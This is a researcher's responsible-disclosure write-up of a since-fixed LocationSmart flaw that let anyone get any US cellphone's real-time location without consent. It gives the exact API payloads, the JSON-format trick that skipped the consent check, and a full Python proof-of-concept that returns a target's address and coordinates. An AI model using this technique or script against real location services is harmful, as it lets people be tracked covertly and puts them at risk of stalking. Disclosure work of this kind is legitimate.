On May 16th, I found a vulnerability in the LocationSmart website which allowed anyone, with no prior authentication or consent, to obtain the realtime location of any cellphone in the US to within a few hundred feet. I immediately moved to contact US CERT to coordinate disclosure, and worked with Brian Krebs to publish the story after the vulnerability was fixed this morning (May 17th).

Now that I have verified that the vulnerability is fixed, I am releasing the relevant technical details of the bug and exploit.

Introduction

LocationSmart is a cellphone location tracking service which was recently in the news (e.g. [1], [2]) for selling location data to third party Securus, who then improperly disclosed it to a former law enforcement official. LocationSmart partners with various telecom companies to obtain the real-time location of mobile customers via cell-tower triangulation (same approach as E911 localization), counting among its partners Verizon [3], AT&T, T-Mobile, Sprint, and Canadian carriers Bell, Rogers and Telus. LocationSmart then sells the location data to other companies, for purposes including geolocated assistance and marketing. Note that because this is carrier-based, it works regardless of phone operating system or the privacy settings on the device itself. There is no ability to opt-out.

Background

LocationSmart provided a trial webpage, located at https://www.locationsmart.com/try/, where anyone can enter a cellphone number, reply to a consent request (delivered via either SMS or phone call to the target number), and see the real-time location of that number. The intention is that the phone call or text-message reply is necessary for a user to “opt-in” to the location tracking demonstration.

After selecting to track “My Mobile”, the page makes a POST request to https://www.locationsmart.com/try/api/ with the following payload (with 8005551212 replacing the real phone number):

requestdata={"deviceType":"Wireless","deviceID":"8005551212","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json

If the selected phone number is valid, this will reply

{"uid":"REDACTED","requestTime":"2018-05-16T21:25:50.689+00:00","statusCode":0,"statusMsg":"Success","deviceId":"8005551212","token":"TOKEN","locatable":"True","network":{"carrier":"T-Mobile","locatable":"True","callType":"wireless","locAccuracySupport":"Precise Possible","nationalNumber":"8005551212","countryCode":"1","regionCode":"US","regionCountry":"UNITED STATES"},"subscriptionGroup":[{"name":"LOCA-D01-LOCNOPIN","locatable":"False","smsAvailable":"False"},{"name":"LOCA-D02-WELCOME","locatable":"False","smsAvailable":"False"}],"smsAvailable":"True","privacyConsentRequired":"True","clientLocatable":"false","clientSMSAvailable":"Not supported","whiteListed":"false"}

(Some fields have been anonymized). The TOKEN is a 12-byte value, which decodes using a modified version of Base64 to a nanosecond-precision timestamp.

The webpage then repeatedly POSTs to the same endpoint with the following payload:

requestdata={"subscriptionAction":"status","tn":"8005551212","carrierReq":"true"}&requesttype=subscriptionreq

and receives an XML payload formatted like

<?xml version="1.0" encoding="UTF-8"?> <SubscriptionResp> <uid>REDACTED</uid> <requestTime>2018-05-17T00:43:44.631+00:00</requestTime> <statusCode>0</statusCode> <statusMsg>Success</statusMsg> <tn>8005551212</tn> <subscriptionGroup>LOCA-D01-LOCNOPIN</subscriptionGroup> <subscriptionOptInState>requested</subscriptionOptInState> <contact>sms</contact> </SubscriptionResp>

It waits for the response subscriptionOptInState to change to approved , then makes a final POST request to the same endpoint with the following payload:

requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq

This replies with an XML payload containing the target device’s location. Note that the token is the only identifier that varies in this request, and it is the same as the token obtained from the statusreq request.

If you make a similar POST request to a phone that has not consented to location tracking, you get a payload like

<?xml version="1.0" encoding="UTF-8"?> <LocResp> <uid>REDACTED</uid> <requestTime>2018-05-17T00:03:46.073+00:00</requestTime> <statusCode>42</statusCode> <statusMsg>SubscriptionNotActive</statusMsg> <carrier>T-Mobile</carrier> <deviceId>8005551212</deviceId> <tn>8005551212</tn> </LocResp>

Vulnerability

If you make the same request with requesttype=locreq.json , you get the full location data, without receiving consent. This is the heart of the bug. Essentially, this requests the location data in JSON format, instead of the default XML format. For some reason, this also suppresses the consent (“subscription”) check.

In essence, you can do the following:

POST with requestdata={"deviceType":"Wireless","deviceID":"NUMBER","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json to get a token POST with requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq.json and wait a few seconds to get a location

That’s all. The entire consent process is bypassed and you have the phone’s location. Here is the proof-of-concept Python script I built to demonstrate the issue:

#!/usr/bin/env python3 import requests import json import sys import webbrowser if len(sys.argv) >= 2: phone = sys.argv[1] else: phone = input("Phone number? ") headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0', 'DNT': '1' } r1 = requests.post('https://www.locationsmart.com/try/api/', headers=headers, data={ 'requestdata': json.dumps({"deviceType":"Wireless","deviceID":phone,"devicedetails":"true","carrierReq":"true"}), 'requesttype': 'statusreq.json' } ) data = r1.json() r2 = requests.post('https://www.locationsmart.com/try/api/', headers=headers, data={ 'requestdata': json.dumps({"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":data['token'],"locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"true","carrierReq":"true"}), 'requesttype': 'locreq.json' } ) data2 = r2.json() if 'civicAddress' in data2: print('{phone}: near {streetAddress}, {city}, {state} {zip}'.format(phone=phone, **data2['civicAddress'])) if 'geoAddress' in data2: url = 'http://localhost:8000/location.html?lat={coordinates[1]}&lng={coordinates[0]}&acc={accuracy}'.format(**data2['geoAddress']) webbrowser.open_new_tab(url)

This pops up a simple HTML page that draws a circle of radius acc at coordinates lat, lng .